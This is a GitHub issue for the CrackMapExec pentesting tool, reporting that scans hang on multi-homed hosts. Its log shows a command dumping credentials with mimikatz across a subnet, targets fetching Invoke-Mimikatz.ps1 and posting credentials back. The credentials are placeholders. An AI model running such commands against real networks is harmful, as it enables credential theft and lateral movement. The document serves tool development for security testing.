byt3bl33d3r/CrackMapExec

Issue with multi-homed hosts

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#169 opened on Apr 25, 2017

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 (2 comments) (0 reactions) (0 assignees)Python (7,931 stars) (1,650 forks)batch import
bughelp wanted

Description

Not sure if this is even worth addressing, but I just noticed on an engagement today that many of the hosts that never finish are in fact finishing, but are multi-homed. Here is example output from a system that I RDP'ed into to verify that all IPs were assigned to the same host:

cme smb 1.2.3.0/24 -u someuser -p 'somepassword' -M mimikatz
SMB         1.2.3.200  445 DOMAIN           [*] Windows Web Server 2008 R2 7601 Service Pack 1 x64 (name:DOMAIN) (domain:CUD) (signing:False)
SMB         1.2.3.200  445 DOMAIN           [+] DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200  445 DOMAIN           [+] Executed launcher
MIMIKATZ    1.2.3.200                       [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       (null)\USER:PASSWORD
MIMIKATZ    1.2.3.200                       [+] Added 6 credential(s) to the database
MIMIKATZ    1.2.3.200                       [*] Saved raw Mimikatz output to Mimikatz-1.2.3.200-2017-04-24_222944.log
SMB         1.2.3.205  445 DOMAIN           [*] Windows Web Server 2008 R2 7601 Service Pack 1 x64 (name:DOMAIN) (domain:CUD) (signing:False)
SMB         1.2.3.202  445 DOMAIN           [*] Windows Web Server 2008 R2 7601 Service Pack 1 x64 (name:DOMAIN) (domain:CUD) (signing:False)
SMB         1.2.3.210  445 DOMAIN           [*] Windows Web Server 2008 R2 7601 Service Pack 1 x64 (name:DOMAIN) (domain:CUD) (signing:False)
SMB         1.2.3.205  445 DOMAIN           [+] DOMAIN:USER:PASSWORD
SMB         1.2.3.202  445 DOMAIN           [+] DOMAIN:USER:PASSWORD
SMB         1.2.3.210  445 DOMAIN           [+] DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.205  445 DOMAIN           [+] Executed launcher
MIMIKATZ    1.2.3.210  445 DOMAIN           [+] Executed launcher
MIMIKATZ    1.2.3.202  445 DOMAIN           [+] Executed launcher
MIMIKATZ    1.2.3.200                       [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       (null)\USER:PASSWORD
MIMIKATZ    1.2.3.200                       [+] Added 6 credential(s) to the database
MIMIKATZ    1.2.3.200                       [*] Saved raw Mimikatz output to Mimikatz-1.2.3.200-2017-04-24_223044.log
MIMIKATZ    1.2.3.200                       [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       (null)\USER:PASSWORD
MIMIKATZ    1.2.3.200                       [+] Added 6 credential(s) to the database
MIMIKATZ    1.2.3.200                       [*] Saved raw Mimikatz output to Mimikatz-1.2.3.200-2017-04-24_223045.log
MIMIKATZ    1.2.3.200                       [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       DOMAIN:USER:PASSWORD
MIMIKATZ    1.2.3.200                       (null)\USER:PASSWORD
MIMIKATZ    1.2.3.200                       [+] Added 6 credential(s) to the database
MIMIKATZ    1.2.3.200                       [*] Saved raw Mimikatz output to Mimikatz-1.2.3.200-2017-04-24_223052.log
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)
MIMIKATZ                                         [*] Waiting on 3 host(s)

Contributor guide

Tech stack
python
Domain
security
Issue type
bug
DifficultyEstimated implementation difficulty for a new contributor, from 1 for very small changes to 5 for expert-level work.
3
Estimated timeA rough time range for an experienced contributor to investigate, implement, test, and prepare a pull request.
1-2 days
Activity statusHow available the issue appears right now: fresh, active, stale, blocked, or waiting on maintainer input.
stale
ClarityHow clearly the issue explains the expected change, acceptance criteria, and next step.
clear
Prerequisites
Python
Newbie friendlinessA 1-100 score estimating how approachable this issue is for first-time contributors.
40
Research direction
Investigate the host enumeration and completion tracking logic in CrackMapExec, specifically in the smb module. The issue is that multi homed hosts (same hostname with multiple IPs) cause duplicate entries and the waiting list never clears. Consider deduplicating hosts by hostname or adding a check to ignore already processed hostnames. See the log output for patterns where the same hostname (DOMAIN) appears with different IPs and repeated mimikatz output.